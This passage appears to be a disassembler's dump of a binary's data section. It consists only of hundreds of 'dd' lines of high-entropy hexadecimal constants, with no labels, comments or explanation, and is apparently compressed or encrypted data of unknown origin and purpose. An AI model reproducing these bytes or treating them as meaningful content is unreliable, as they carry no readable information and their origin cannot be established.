		dd 418E88CEh, 0D4017F2h, 3FCBBB40h, 0FDAE0102h,	0C9319666h
		dd 0AD186EDCh, 0DD39FC2Ch, 7BC40024h, 3459F40h,	79001A13h
		dd 25B20A5h, 64427436h,	45CFD01Eh, 0C0409B97h, 0CED183C4h
		dd 0E3F500A5h, 8F98616Eh, 1A48C8E1h, 8C2ABC14h,	830EE700h
		dd 4FCFF6D2h, 592509B3h, 78B0C232h, 8430CE74h, 0BD923941h
		dd 0F862E5D4h, 0C3E58F1h, 298022Ah, 36997213h, 50884C61h
		dd 5C21EC2Ch, 0B851A32Bh, 0DFEA2C04h, 0B81B00C8h, 13B46F8h
		dd 0B9880A55h, 400C6AE6h, 11D8288h, 0BA07530Ah,	0EA2CF74Bh
		dd 975CF052h, 62548094h, 0A3F014h, 83467DFCh, 9CBECC36h
		dd 8005D53Ah, 93A2E3B9h, 482E7BF5h, 1F232CB7h, 13CF1D07h
		dd 80381A35h, 0C7650043h, 0D7EF2F5Dh, 0E1006419h, 37125F4Bh
		dd 2AF72753h, 12B86F4Fh, 8BB2D470h, 0C040C82Ch,	211766F0h
		dd 0B71E8C00h, 790E89E9h, 9794263Fh, 0BFD44048h, 0F81CFCDDh
		dd 0E700E9F0h, 5BCC19D5h, 16C6019Ah, 6722D3B4h,	2411CD7Bh
		dd 0C339BC3Ch, 0A14012B2h, 0C045E808h, 0E965B329h, 5D221246h
		dd 0B33A311Eh, 0D6D4F9C0h, 301EFF89h, 0C0B93B3Dh, 900ABC1h
		dd 166F3A4Ch, 18D48115h, 41859953h, 6000A1EEh, 0AB1E89DAh
		dd 4DD48FDh, 0A57BF8FBh, 86208879h, 14B94924h, 2D39AEBEh
		dd 0C012F80Eh, 0C0A61C70h, 0FBE9015Fh, 0FCBDF114h, 0B6F5F46Eh
		dd 0F6041678h, 0A2490C76h, 28850C90h, 1354EA0Eh, 43718Eh
		dd 21EDE2EEh, 774150Bh,	94403C4Ah, 0B769A103h, 2AF0381Ch
		dd 0DF0CF980h, 9C833BDAh, 44719900h, 4C4DA62Dh,	0CCCB0F28h
		dd 2F407232h, 14450DFDh, 0D55EB300h, 0E80BF263h, 0FC49488Ah
		dd 6DC85180h, 0A20F8C2Ch, 40F4649Ah, 2F899084h,	2278052Bh
		dd 41579BC3h, 0D08DB594h, 94B0F8C4h, 0F9591F01h, 0E652DD92h
		dd 30ACB7DCh, 0A6C03186h, 846099E8h, 0A1EF9D39h, 6E180E4Ch
		dd 0ADE54D50h, 61B10025h, 2D5AFCF7h, 0C3977500h, 7B9588B4h
		dd 6C6C495Fh, 22ACF917h, 0DC524B10h, 0F50020B0h, 0DF761094h
		dd 1D27AE5Bh, 40AFE4D3h, 0DBF0B0B4h, 0E3E662C0h, 8AF4ED3Bh
		dd 0F88DBAF9h, 6A3B5F40h, 0CE2234AEh, 0FB428128h, 0D29071B5h
		dd 45031851h, 901DD3E5h
		dd 8DAA78h, 0DD4B6746h,	0F6DB1F5Fh, 997D700Ch, 72965981h
		dd 1DACF2B9h, 3C2EF7h, 5E61EEA8h, 773A65B0h, 49FF80D2h
		dd 0B4B7604Ch, 7B99021Ch, 3D40AABBh, 0C21E687Ah, 0DCC0D8D5h
		dd 0E2A31FE1h, 0C9A904A6h, 0C95F8160h, 9A800308h, 302C31C1h
		dd 35441A74h, 294D0046h, 2D516140h, 0CE9010A7h,	5B49A49h
		dd 7379D070h, 0E3B1A680h, 0F1080E5Dh, 31028691h, 3C443D6Bh
		dd 68804B13h, 0EE76A000h, 98DD9329h, 3167403h, 1EBD4A69h
		dd 59079D98h, 47289918h, 0AF4482C0h, 0F12F1277h, 0A53440C9h
		dd 2D76E5BFh, 871CD02h,	52C0F73Fh, 0C2647BB8h, 4D670529h
		dd 0EEA153C1h, 119B1061h, 998B363Ah, 0A0845Eh, 289F4057h
		dd 81E0E95Ch, 496AAA8Fh, 2B022840h, 38D10F04h, 0A580BE50h
		dd 607644F7h, 35052A04h, 94807E14h, 30977420h, 9E203EE9h
		dd 3A013C60h, 0A2AE6BE4h, 0C2D02741h, 0DAF4016Ch, 0CD2C8252h
		dd 0CA2DD4EFh, 399A9009h, 0E8E9093Ch, 1F0758h, 9E2D1029h
		dd 62A9F16Ah, 67BA0306h, 7C9373Dh, 0D7956999h, 89831064h
		dd 3E25CCBEh, 51B8203Dh, 0EC79C442h, 0F0E2B3h, 0C05099E1h
		dd 384516A0h, 3B5D5F3Bh, 7EB787BAh, 319BB8Bh, 0F8579EA4h
		dd 0EF11594h, 0EEE2B310h, 0B8C79980h, 0D8F9952Eh, 9A2AA331h
		dd 0FD3BC083h, 93E300B4h, 714D4BCh, 28E00Dh, 231AAFB5h
		dd 38104B7Ch, 0B4ABC80h, 0E71B8178h, 4186F898h,	0E1FB9C00h
		dd 0FD8F43F0h, 0DC530042h, 3851F4F6h, 6B1ECA3Ah, 1D8A0F91h
		dd 93001C4Ah, 7748EFFBh, 0AF730707h, 0E132123Dh, 0D436E125h
		dd 6600E6E0h, 0C2940FFFh, 0C710AAAh, 397E7CAh, 5C034B91h
		dd 42153F74h, 0E3F8B0EBh, 0E44E00B5h, 9B73BAF7h, 3F1D660Ah
		dd 40CA450Ch, 84008C0Dh, 249C538Ch, 34B458F7h, 0A9BDEC81h
		dd 1A9C3029h, 0C8598E0Ah, 0F440C83Fh, 3488E6h, 0E15E4122h
		dd 0C73B39Eh, 6335D1Eh,	400E4EC0h, 0C06A9989h, 0A782AE51h
		dd 4D13310Fh, 74008C79h, 1D7B8B1Bh, 834700B3h, 99D8235Fh
		dd 0C139890Dh, 0B8438067h, 60AD2624h, 0F375E2CDh, 0B52C8180h
		dd 0BFF672C6h, 0F7B65F1Bh, 649BA248h, 57CB00B4h, 3F3D7375h
		dd 930F6790h, 24A9FA96h, 0A0883C7Bh, 0C720043h,	5F4C4E07h
		dd 510708B4h, 0ECFCBE3Eh, 33235B81h, 89382830h,	19C3296h
		dd 0CF45352Bh, 0CC30DC6Fh, 24858886h, 84310E6Fh, 0EE4B72B7h
		dd 8089B889h, 0B4A56600h, 6D3BCF91h, 2C782E7Ah,	0E6CBB842h
		dd 9CD10094h, 128BAF8Eh, 30000718h, 86FD95B1h, 586BDFh
		dd 0ED1A6737h, 0EB5E54CDh, 602FF53Eh, 26B6B071h, 7CF0456h
		dd 91BF3277h, 6D96D1E8h, 9B007D74h, 3869DEEh, 0F24D1FF4h
		dd 3C4118CBh, 0B6799134h, 5E7EE304h, 0CFC0283Fh, 0E33ACC02h
		dd 5DFE219Eh, 51A00007h, 393325CFh, 4873E2Ch, 0DD202D60h
		dd 0FD7A1Ch, 3C0E0CE8h,	77ACFC67h, 44580BFAh, 0F2F16060h
		dd 0B77F48h, 0F5854318h, 0C29914FEh, 0D0917873h, 0CB79B500h
		dd 0E41F414Ch, 0CE52001Eh, 7518DC1h, 7524D147h,	0F103EC9Ah
		dd 0A0B6F2D9h, 17A9E7ADh, 1429D2Eh, 48E6AE48h, 0EE402055h
		dd 20607B27h, 6D8777D4h, 0D68B1258h, 0C91CD049h, 991F227Ah
		dd 0A880BD8Dh, 633B7CEAh, 0F928380Fh, 93EC801h,	1302984Dh
		dd 35F6F8F3h, 58CF007Ah, 2C2BA9C6h, 150284E4h, 0CC7C1CA2h
		dd 906449h, 853215Eh, 0B4FEBEC2h, 0A7D03800h, 7292C7C8h
		dd 3EB2FEECh, 9E81996Bh, 0F7402B5Dh, 64B048ACh,	229C089Ch
		dd 1983F300h, 0C90030Bh, 396945EAh, 24B89FE8h, 4F106A42h
		dd 41CE8C58h, 73BB00DCh, 47FA8566h, 1E073225h, 0A2A6C712h
		dd 1B94FFF0h, 8028B1EFh, 0B7FBC82Fh, 0BE00785Eh, 0A0754C48h
		dd 5D3F596Dh, 9B28F8D4h, 6E3C0054h, 0E53A9874h,	3F00E3A2h
		dd 0FFBDEBA4h, 583DB8F8h, 40C20AEh, 0ECB02CF7h,	704C1D14h
		dd 45AEC394h, 1B6AF8B9h, 0C560C589h, 25900688h,	2F2E108Ah
		dd 0F4ED09Ah, 4127209Dh, 75CC429h, 63712C38h, 724560A8h
		dd 682808CDh, 0A6481896h, 393101DCh, 0C39CE801h, 304C93C8h
		dd 1A4C64ECh, 89003366h, 34A5073Ah, 31BA2D5h, 0D340ABE8h
		dd 17E09246h, 565C6B4Ch, 0CD387AE4h, 20E917C1h,	6F322430h
		dd 4E6A00C4h, 0B50CEB46h, 8201FDBDh, 0A3EF71C9h, 943C2CAFh
		dd 0B1D86F80h, 0F100205Dh, 7D617CB2h, 6150F536h, 280DF8A8h
		dd 0D82D06h, 0D2F4752Ch, 1CBF9E6Ah, 0D78659BBh,	1B30C89Ch
		dd 25440800h, 9930ACA5h, 0AACB00F2h, 7895E41Ch,	965FD269h
		dd 4E0BF840h, 0E2758198h, 84FC00D1h, 934032Fh, 390782EDh
		dd 0E0F4169Eh, 4D175F70h, 0F7151661h, 0C02031ADh, 0CA047096h
		dd 1A7A588h, 245F5285h,	3D367B97h, 0C12C4C04h, 6B5299F9h
		dd 0F54179F5h, 0C8C84C9Ch, 7D42000Fh, 54697422h, 5325A3B6h
		dd 0EC98A098h, 7F0FBD0Eh, 17DC9824h, 30C5CE1Eh,	0B10994C8h
		dd 0A1ACED00h, 4B69BECFh, 0B5E5125Dh, 1944C873h, 3CAACD00h
		dd 8C7C387Eh, 94DB02A4h, 27E3E1F2h, 67B49688h, 0AEBDD087h
		dd 0E8F42B4Ah, 0FB55FC00h, 0BAF21BC8h, 699A2A93h, 0FDC50084h
		dd 0C316FEC0h, 2026D852h, 6640C098h, 3832DDD3h,	7980E7CDh
		dd 993D3F8Eh, 1CB1C2F7h, 0AFDCF300h, 13495325h,	4527EE4h
		dd 408DB900h, 0D438AAB6h, 0CE60002Bh, 933B0743h, 1B00F6FDh
		dd 0CFFC542h, 6149EE1Ah, 85FEC1B6h, 566D0138h, 12C45FF4h
		dd 893F1F06h, 0B6F6F4BCh, 48DD500h, 0A598C47Dh,	8BB0D4h
		dd 5DADF8EEh, 0B4953069h, 1C0BA4Dh, 28A41C59h, 3838AFFDh
		dd 60848F87h, 90E79C35h, 4EBBA000h, 9A152F57h, 0C3C10013h
		dd 5197A8CBh, 0AE04F21Fh, 1DB92B48h, 0B55F00C1h, 32A579FCh
		dd 2F512973h, 5024B4C4h, 500804Eh, 0E0274B31h, 6A6005D8h
		dd 8891CE08h, 83721D28h, 3FBCCF58h, 0FCB405A9h,	18F43FE8h
		dd 0A46A07BEh, 709519E1h, 8F4BBFDCh, 3A235C00h,	5277E592h
		dd 9137460h, 9BBA0555h,	4620ECC8h, 0A730F400h, 0BC3A8EDh
		dd 0DBFF0175h, 0A1EE0756h, 0ECBC304Fh, 3C0A040Bh, 4BCC20D0h
		dd 95BCC65h, 43882753h,	4D70BCC4h, 2DD400Fh, 86960A5h
		dd 4F971CBh, 0B4AE288Eh, 0BF0CCC5Ah, 87991B00h,	23C4AB7Ch
		dd 82BC04EEh, 83C8A81Ch, 291EF2ACh, 8039871Dh, 0C0B2BF1Eh
		dd 3B7C2AEh, 0B528ACA1h, 83C9E21h, 0C7067CA9h, 22BB41F2h
		dd 4AE418B8h, 1F349D1h,	0BE468D01h, 50DE9F1Ch, 1D1330C8h
		dd 0C9C50769h, 8C8AF1C1h, 0B2E5606Ch, 0EC00DA8Ch, 0F461A20Ah
		dd 5CD4C90Bh, 0CF801C3Ch, 1C679C18h, 21D50F00h,	97C5F19Dh
		dd 1DB091h, 399D2BEh, 3F190984h, 0BF00A898h, 3E573B60h
		dd 24A13733h, 9EDC7A49h, 0DA4C40B6h, 0E4311FEFh, 8FA6CB3Ch
		dd 81158058h, 0BE1AEA36h, 792B2820h, 0D8F0146h,	9C65AF64h
		dd 22CC70B8h, 0B373BF00h, 9B4140CFh, 0B52F0159h, 0A8B4B1F9h
		dd 0BC54F460h, 1476BB73h, 0BF023F0Bh, 0AD3A826Ch, 9F0860DBh
		dd 3D4F2E32h, 9365409Ch, 600176BFh, 510AEEE2h, 0C892ADEBh
		dd 869800AAh, 0D01F70AFh, 214F658h, 0BCF4EC85h,	124597Ah
		dd 62C8E6B5h, 8FA06A12h, 3A2B0090h, 0BA0B0A86h,	0D89144F1h
		dd 0E0E0D88Eh, 11CA4874h, 83E906CBh, 58C8BDE7h,	9E4B13Ah
		dd 8112D007h, 0F327E820h, 0B84C4839h, 1EF18607h, 2D5B52F5h
		dd 22481C78h, 0A0082DB0h, 29C338F4h, 3FF625B5h,	1259DCA0h
		dd 280F7F5Dh, 0E1BD9C1Fh, 871B3EB9h, 90C45060h,	15C576BCh
		dd 0D8A54972h, 96606D0Fh
		dd 69B65280h, 3402E890h, 56870145h, 0C7DCE071h,	482D3C4Ah
		dd 1A6CC180h, 22517E4Dh, 72815E2h, 6B48A4A8h, 5B030054h
		dd 8EF1FE60h, 6898482Fh, 0BBE51004h, 3A04C252h,	9820D32Fh
		dd 90934B20h, 0AC5625CFh, 812A8081h, 80147C51h,	392D9112h
		dd 91804D4h, 80031463h,	0AB0A6D6Ah, 0D090974Ah,	7029C2h
		dd 341610D9h, 0D444F9C7h, 0B5B02650h, 8F0BCAF0h, 4033B1AAh
		dd 0B0E2FB84h, 1E2D0098h, 3D9807D5h, 0BC07D104h, 2774C2C3h
		dd 7C879C9h, 8B44A683h,	0CA400002h, 85005C79h, 0BB988DD4h
		dd 9D69005Fh, 0CE518978h, 4174E6A9h, 428022h, 320D9915h
		dd 0C1E89B1Fh, 1DABEB00h, 3D8FC7BAh, 0D4645001h, 9884A00Ch
		dd 5384255Bh, 0AC0084E4h, 0A2B990D5h, 1CB1D0EFh, 1F85BDFBh
		dd 42506CF6h, 0D471293Ah, 961AED00h, 3EE422E3h,	0A21D9C24h
		dd 7A54807Fh, 5F8C56D4h, 2CA2DFB0h, 0EB2E0CCCh,	4B094EECh
		dd 0E8EC1064h, 53BA0060h, 0B9338E2Eh, 0EF072BFAh, 465CCEE4h
		dd 85D6FBD0h, 0AA9005F7h, 0BCD0F28h, 121A28h, 0B60068C6h
		dd 242A9FADh, 3E313C1h,	40D9A62Fh, 0FFF85F87h, 61163B51h
		dd 0AC974AD4h, 841B0B90h, 0DC770Fh, 0D24BA8BBh,	690D7B47h
		dd 0A0AD98A0h, 0AC197A26h, 20DD4800h, 2FB4BABFh, 909127F3h
		dd 0D6EB4039h, 133E81E2h, 1C1587ECh, 0ABE0B230h, 0A074DAh
		dd 0C51201FEh, 0ED17CD77h, 50556F0Ch, 8908F2h, 84CE236Dh
		dd 530EEB52h, 87BFAF8h,	1A030974h, 0D462AB0Fh, 60F8A825h
		dd 91A100D8h, 77F40457h, 50C1896Fh, 0FA158405h,	0C72B2D0h
		dd 0FF4F1EABh, 0E000261h, 8D0F677Ah, 7A1E1B8h, 0B96A3F16h
		dd 0A482B091h, 6079974h, 1DC8CC32h, 2E2BD971h, 94ADA980h
		dd 4E4E7DEh, 0BFAB3E00h, 3BF67FF9h, 0E6C9C8EFh,	567C3080h
		dd 0C4E6B37h, 686C19B4h, 9617ED18h, 261CBD16h, 0B240279Ch
		dd 0E8C034D4h, 9E1003Dh, 6FDB4791h, 51305456h, 47D51FDh
		dd 60FA00FEh, 0C3917AC5h, 0F726C7C6h, 0AE00F0AFh, 7BD30AEAh
		dd 2AE30680h, 717614D6h, 0A7F63807h, 0FB5092F1h, 0A23CC5Eh
		dd 19DBB34Fh, 67F3ACCh,	2D4BDDDFh, 671E916h, 0E6B3803h
		dd 0A87E4FC3h, 569ED6h,	8A682C1Eh, 0BA80110Bh, 0D9318661h
		dd 8A98C77Eh, 0E63CB1E8h, 5FB8C05h, 0F4202D53h,	0A12269h
		dd 0D3AAB0B1h, 1950C131h, 5E489A00h, 17DA398Bh,	2CB9C077h
		dd 84F92943h, 3D04261Fh, 10666B40h, 86DCE9h, 377E808Bh
		dd 4CD53381h, 70100661h, 41806C16h, 5426FD47h, 0DB00B6A1h
		dd 670AA47Ah, 9D6486Eh,	4B41D8BEh, 0C2801829h, 0A91C557Bh
		dd 1EC64C00h, 85788B27h, 6EAB3F5Ah, 0DCA158F1h,	412D6806h
		dd 0D82F3970h, 779DC39h, 0E004BA06h, 7BCC2845h,	30B81C2Ah
		dd 37ADA000h, 38F4A9EBh, 0BF7F18h, 344CCBDBh, 14E2EA26h
		dd 0E800AF76h, 0D75F979Ch, 0CB8A06h, 0C779C8E5h, 0B0091021h
		dd 0D001FE8h, 3CE0B21Ah, 18A7A9A1h, 694CE2EEh, 0B7000723h
		dd 0F44B2B2Ah, 5338331h, 505EBF3Ch, 0CBCC40F5h,	0F742B00Eh
		dd 62948201h, 132C1D75h, 0F64CD050h, 0F1F5245Ch, 0EAFE0044h
		dd 86A0DA2h, 93E32400h,	0A7CC8C07h, 2A0A0001h, 5D99C5D4h
		dd 529187Bh, 0B0018C42h, 0D0F0029Ah, 0C84875F1h, 9D7A1FE6h
		dd 196607D4h, 29191C6Dh, 84026AF0h, 1426D332h, 0F97C2077h
		dd 53007A3Fh, 23BC3AA9h, 875908h, 0CBD5611Ch, 14C0A029h
		dd 19316E60h, 73598545h, 0A09E7CB8h, 358053Ch, 60B5FD6Eh
		dd 0BB866E4h, 0A400EEDBh, 3291078Dh, 15564ADEh,	842FF677h
		dd 0E6EEA206h, 1D24D154h, 6640EC4Fh, 9708E3h, 873712B6h
		dd 8A0FD569h, 0F8623F00h, 0F1D7A822h, 60AD075Bh, 47A0ACF4h
		dd 2EE08FFDh, 8FE281C1h, 34210960h, 1902F48h, 7452BDB2h
		dd 0CD08A4C4h, 108BF0FFh, 6D537600h, 0ACF3312Fh, 60187D02h
		dd 0CB5E50ABh, 0B010FB9h, 2FC5BACCh, 0F271C61Dh, 0F6E16D0h
		dd 25AB792Bh, 5A70B0C3h, 0FD78708Eh, 4208400h, 306C0FA4h
		dd 5512302Bh, 0C47BADA0h, 3863C00h, 17150872h, 81E9241Eh
		dd 0FF7600FDh, 8A5F71BEh, 2C777018h, 3C6BDA51h,	2F808D62h
		dd 0EF32A6D7h, 1333EEA0h, 0D8CDF9A7h, 0C46727h,	663FDBF9h
		dd 0DA26CF32h, 820EED0Ah, 1960881Ah, 3FA81A8h, 2C5C4B4h
		dd 26A96872h, 6BC6D0BEh, 0F50D201h, 0F25B6C70h,	77B900D3h
		dd 3A4803C2h, 3CFC3567h, 5079F800h, 15D34A7Eh, 0B3C70031h
		dd 8C24263Bh, 0BD00D864h, 0BEF911D9h, 5279E64Dh, 40CAC5Bh
		dd 81597B22h, 5899F660h, 38C5A1Bh, 4CE33B42h, 310086F0h
		dd 0DD5735Bh, 0D718EEh,	0CF5936B1h, 61F25EEFh, 0B01A49C0h
		dd 6D044D1h, 8EF4C591h,	0D81259F8h, 9500489Bh, 0EC8D84F3h
		dd 21140079h, 45A99A7Eh, 956F127Bh, 0A3772069h,	7C500252h
		dd 5E9703D2h, 1605E77Ah, 8E8604A0h, 8459EE60h, 73B6CFAEh
		dd 643C0548h, 0C0CE42B4h, 328702EAh, 5D97C07h, 6240CA10h
		dd 1F33A78Ch, 0C0175AE2h, 0A8003A5h, 7E033C54h,	0F15E6246h
		dd 1EB3887Dh, 91A26011h, 0CE300335h, 4B69600h, 7EF60E49h
		dd 0EFBA0014h, 5FBC830Fh, 2A005D23h, 2E11D68Fh,	9777D06h
		dd 28166941h, 2A32020h,	0FC026E1Ch, 8C78DD42h, 0CBC6E0F0h
		dd 0CAE10351h, 0DC8240F5h, 0B055D900h, 0A77F1310h, 0FEE430AAh
		dd 0F4802319h, 5B86454h, 80925C3Fh, 0F0E5D6D2h,	8D9707h
		dd 63125565h, 0C372707Dh, 9DCBE0ABh, 0BD30D102h, 0C3E3342Ch
		dd 0C049A359h, 0AC380Bh, 0B358A2DFh, 39627B55h,	0B0F0540Ch
		dd 50A839A1h, 391D44D6h, 4692658Ch, 0C4940121h,	33E0A820h
		dd 88658008h, 64C9651h,	0F33F7204h, 9400C179h, 7C0276CCh
		dd 0E2C45FBAh, 0F83B3C95h, 8C6B0D03h, 1FD8CCD6h, 940F8748h
		dd 60012615h, 0BFAF5F79h, 496560F4h, 0B7C26655h, 0C62FCA01h
		dd 642A8933h, 0E161FD4h, 0FE0E820Dh, 7CBFC9C0h,	8D505587h
		dd 0BB007A54h, 0F85C2D98h, 0C0568E36h, 0F3B72FB0h, 1748AF88h
		dd 0AA809C98h, 1934A153h, 6AFE00A3h, 336909F5h,	47004A27h
		dd 3104DE16h, 0D68221h,	5E20960Fh, 6A4F1184h, 7A1DA8C0h
		dd 2E87DCF5h, 87B2AF6Fh, 0E1816E05h, 0D404B0C9h, 15050312h
		dd 9E110230h, 0F296A040h, 0A0799Ch, 1BA9A42Bh, 44730E58h
		dd 800B633Fh, 0BA0DFCC7h, 5C6BF6B7h, 0A146E37h,	0E9003C12h
		dd 0C9FBB6BCh, 0E50E0D5Dh, 7D6BE6A8h, 433BF900h, 0A5327B1h
		dd 0EF818B90h, 6189808Ch, 3B6BE737h, 0D8DB6601h, 0DF048848h
		dd 282F91CCh, 501258h, 5F430A36h, 0F1C9FC2Dh, 0BAA3Dh
		dd 52652A44h, 12E0BFDEh, 186BB45h, 8E8C0314h, 92A610EDh
		dd 0DE4300D8h, 0F391CC1Bh, 3D003664h, 0D71F2C78h, 1E632DACh
		dd 522B7962h, 251C2257h, 7DEF3240h, 0D719FF00h,	1F923316h
		dd 0C8114C85h, 0D2425180h, 360089CFh, 0E6B07DE3h, 805506h
		dd 71B3905Fh, 0AE87ED95h, 0E37331C0h, 202D906h,	50A04C47h
		dd 8140B1EAh, 0B1C0F28Eh, 96DFC1Dh, 1173015Fh, 1208B77Bh
		dd 0FBD9D47Ch, 0E8DBBD0Fh, 0CEA918F4h, 24E300DEh, 86C40E57h
		dd 0D400FF80h, 859FC58Ch, 160527AAh, 9219DBh, 6A9D1660h
		dd 0B14C8CA9h, 0C094505Ch, 1E2B2Ch, 607D004Eh, 49155996h
		dd 0B5004C04h, 0E1D647ECh, 9200765Eh, 0A277CD73h, 9B1F4F7h
		dd 0CF01DA1Fh, 27174498h, 48618E03h, 0B0A32123h, 0B6264Ah
		dd 0A122AAE0h, 1EBF8BAEh, 0DE246000h, 5481E315h, 8CAB288Ah
		dd 0CADBE5E0h, 341020F5h
		dd 0EF004EB2h, 20098551h, 24928C94h, 60D0BCABh,	3ACA4F95h
		dd 3FAB501h, 0A080D820h, 7681B9CCh, 0B00448E0h,	17A89A06h
		dd 3E00D906h, 5C1FE6BCh, 0A02CF27h, 32217876h, 891A60F0h
		dd 7400E055h, 996E5024h, 41C1059h, 2BB4E481h, 7834C821h
		dd 0A91E58A0h, 2F2BC38h, 0FE4CF0Eh, 90EC4397h, 986A702Bh
		dd 91A51410h, 5A004416h, 0C8672930h, 88E234E9h,	3E95FF01h
		dd 7E708B82h, 40C1072h,	0EE716A20h, 0D6DCB560h,	6EFA3C0h
		dd 0F344C479h, 3E00216Fh, 0A804338Fh, 4806BEAh,	262B2E09h
		dd 0A2E04155h, 0D062F481h, 8BA1007Eh, 0A5270F65h, 89001946h
		dd 0D91CD5A2h, 2F02660h, 5181BC75h, 0B06655E8h,	0F3F200Eh
		dd 27C4028h, 306F6Dh, 4A22E762h, 7B517A78h, 0DD0014B8h
		dd 0F76BD95Ch, 7E8949h,	2B059AE9h, 0F3BB0A81h, 91596344h
		dd 20119634h, 7E63A028h, 0F626D900h, 36EA3A03h,	0D2090115h
		dd 0DE88F18Ch, 16487039h, 2B1F850Fh, 2282FC78h,	0C4E458A8h
		dd 50DB2A18h, 78F548A0h, 758C1E80h, 2E0039E8h, 3DEDB8C2h
		dd 1261A55Ch, 3085D254h, 41A27BCCh, 63004BF0h, 7714F45h
		dd 15C5BFB5h, 0EC891610h, 31F78118h, 0CCE1E68Bh, 140FCCBDh
		dd 0AC4976ABh, 246372B3h, 1EC8D646h, 40B91E92h,	129CEDF6h
		dd 87017D09h, 74C803A4h, 85F1F56Fh, 2D242032h, 589D001Ch
		dd 0A85F6B08h, 80E8FA58h, 0CE75137Eh, 8C061248h, 5DF0079Eh
		dd 4A7470C2h, 0F3188807h, 0C7F966F4h, 411300EBh, 49468AB7h
		dd 0BB1DAFEEh, 79C4D1B4h, 508C63EAh, 84E0B8h, 0BF30186Ah
		dd 9AD57765h, 90B8C050h, 94110718h, 1E1CF8A1h, 416AB9DCh
		dd 70C5D633h, 4244171h,	2C7216h, 0CBB18E9h, 725D40BFh
		dd 0B0977B73h, 0F0DB4510h, 6501449Ah, 0F53B009h, 0B1426AC8h
		dd 487C4443h, 184073EAh, 2CAA008Bh, 89FF186h, 0E0E76C70h
		dd 99094F87h, 90180296h, 72C468h, 0B78A3C71h, 28EA78D2h
		dd 61D76201h, 327D79E5h, 457CB822h, 2320C168h, 27390048h
		dd 0EAB3D2D0h, 6C090038h, 874059Bh, 47135095h, 0D80272D8h
		dd 0E0AEE653h, 784F8428h, 4C805887h, 201D080h, 5F00113Fh
		dd 0F7C5932Ah, 0FB615E25h, 0E27203E8h, 5F8F4A18h, 595AC070h
		dd 0C355641Dh, 0FDDD2906h, 50A16EF4h, 12B89BBh,	0C66DC99h
		dd 800716D3h, 0DB5B63F1h, 0FF6EAA6h, 77BB04C6h,	0A5112224h
		dd 20B6CC88h, 45153C07h, 64C08462h, 5DDAAAh, 4F9BD94h
		dd 5D93B63h, 3714DCE8h,	648F32h, 0A14CC797h, 58AF526Eh
		dd 2B009791h, 0E5F4DD61h, 78A3F78Fh, 795F58F8h,	8E060909h
		dd 33D404FBh, 0BCA39C80h, 0B1FE6016h, 0DF0CAD29h, 0BA174900h
		dd 9A7DD9FCh, 4E1D0075h, 80AC1670h, 38944B90h, 35225C40h
		dd 7934039Bh, 0CD0DFF44h, 2CD452F0h, 2A1D311Dh,	85822280h
		dd 9623A53h, 0A0401554h, 2E5BB082h, 6A7A8D20h, 2CB92C02h
		dd 0DD320049h, 9E9B06ABh, 1C625173h, 0C6CDF716h, 0C692003Ch
		dd 0FF5AA8C9h, 990030EBh, 9EB0447Bh, 2D3106Eh, 0A9E3B722h
		dd 84A0F381h, 4CAAB254h, 7F41D517h, 0A38E601h, 0C873C161h
		dd 94FE4D07h, 99E0F08Eh, 7100546Fh, 53FE181h, 5C982E9h
		dd 0FBDA9433h, 0C14CC678h, 26CCB007h, 83C2E4E7h, 90AC51EDh
		dd 4258BEFh, 514063F8h,	0DDD187BBh, 0F0997126h,	91FC0B00h
		dd 3728009h, 0BF636082h, 31076DF3h, 209B8A14h, 542800Fh
		dd 0B4C3B03h, 941FBD60h, 0CACB4C98h, 0D93F9D00h, 907AAB0Ah
		dd 9ECDF1F1h, 0F0FBDCh,	0A3FD17CDh, 1685AEE9h, 9D00247Ch
		dd 64ACD562h, 0B07DB083h, 0E3B7498h, 0C704EF44h, 0F152A9E0h
		dd 4951BEBBh, 0E2C40CD4h, 0EB0048FCh, 0D90861CEh, 102577h
		dd 0BBB57CE0h, 6822BDA1h, 0B00A4F26h, 5D6FD00h,	703CEF9h
		dd 152BB959h, 0E86DC002h, 810ECD0Fh, 9CD64020h,	70B30E81h
		dd 0A0510A8Dh, 866047EAh, 17E100DEh, 24F84137h,	5702768Dh
		dd 1708E88h, 877CC08Bh,	7829F961h, 0A45A3400h, 9775B8B4h
		dd 23F12703h, 80E2FEDBh, 0E7F6F5h, 6C7F69B0h, 0EA5F8071h
		dd 0D8F25A26h, 9C0BA340h, 96530086h, 4BEB80FBh,	0A7001389h
		dd 0FD5CF40Fh, 12E39B7Ch, 40301734h, 9AD0D108h,	7E7D235Eh
		dd 5193E8F9h, 6B6E0E01h, 282B1EB6h, 2070872h, 218B0372h
		dd 0E05A6FC7h, 2C2CD7C2h, 2E80A8F7h, 47FD74EDh,	2A5D0016h
		dd 584BBD89h, 6C057E55h, 9591921Fh, 19AC9802h, 5FC06007h
		dd 0ED2D0914h, 442093B3h, 0A7C9D7DAh, 7D24D375h, 0E801B480h
		dd 17BC4025h, 0FB016422h, 529CA0EBh, 66986405h,	1136D20Ch
		dd 0F049AAh, 6F8D23DFh,	4F2FDC64h, 73BD4700h, 0B9844971h
		dd 23284B16h, 0A3F05BACh, 0EA002755h, 57C87826h, 39C7C628h
		dd 0A78B351Ah, 9800B33Fh, 8C644E9Ah, 0AC772C00h, 7F1716C4h
		dd 6C180168h, 272B8BF5h, 5443601Bh, 0BFA9B400h,	0F3BA081Eh
		dd 0ACB967h, 2285FC76h,	2948B39Eh, 0C372032Bh, 0E8A401A2h
		dd 0D9D16Ah, 3B664FF5h,	0E7BDB03Fh, 2EB4D802h, 611671B9h
		dd 0C8405B88h, 64038A6Bh, 0CCF7DC80h, 0A07B7390h, 29A20400h
		dd 4CBBA79Dh, 0EA503FE5h, 0B7775A81h, 0CD87F712h, 0D3EC1093h
		dd 0A43A0005h, 1A8D4BAFh, 38991FB0h, 0F88EA380h, 6B3586h
		dd 20D6AE0Ch, 0D58F9073h, 8622B13Bh, 9C113B34h,	1B63831h
		dd 4845E90Eh, 0BBC552E0h, 0EAE00DA3h, 0FAEDFB1Ch, 0BD90580h
		dd 58789565h, 0B8DFD4DBh, 200E8C00h, 0E32B8D36h, 2C79CDE3h
		dd 0E2CB8038h, 207D1Fh,	0F76388F5h, 10197653h, 0A081C427h
		dd 14E01CCCh, 2793003Fh, 0A88F5590h, 6200D7AFh,	24763BCAh
		dd 73538CBBh, 1F651401h, 3A02EC9Ah, 2BA9790Ah, 4728938Ah
		dd 0CDDC0341h, 0F5B1F8C8h, 48466D01h, 0ED095A69h, 9DB038h
		dd 606B8950h, 0CB00C2F3h, 6E08AFB7h, 766F62h, 0F11D055Bh
		dd 80041AF4h, 83491004h, 6C902916h, 0E9637Fh, 549A9D6Fh
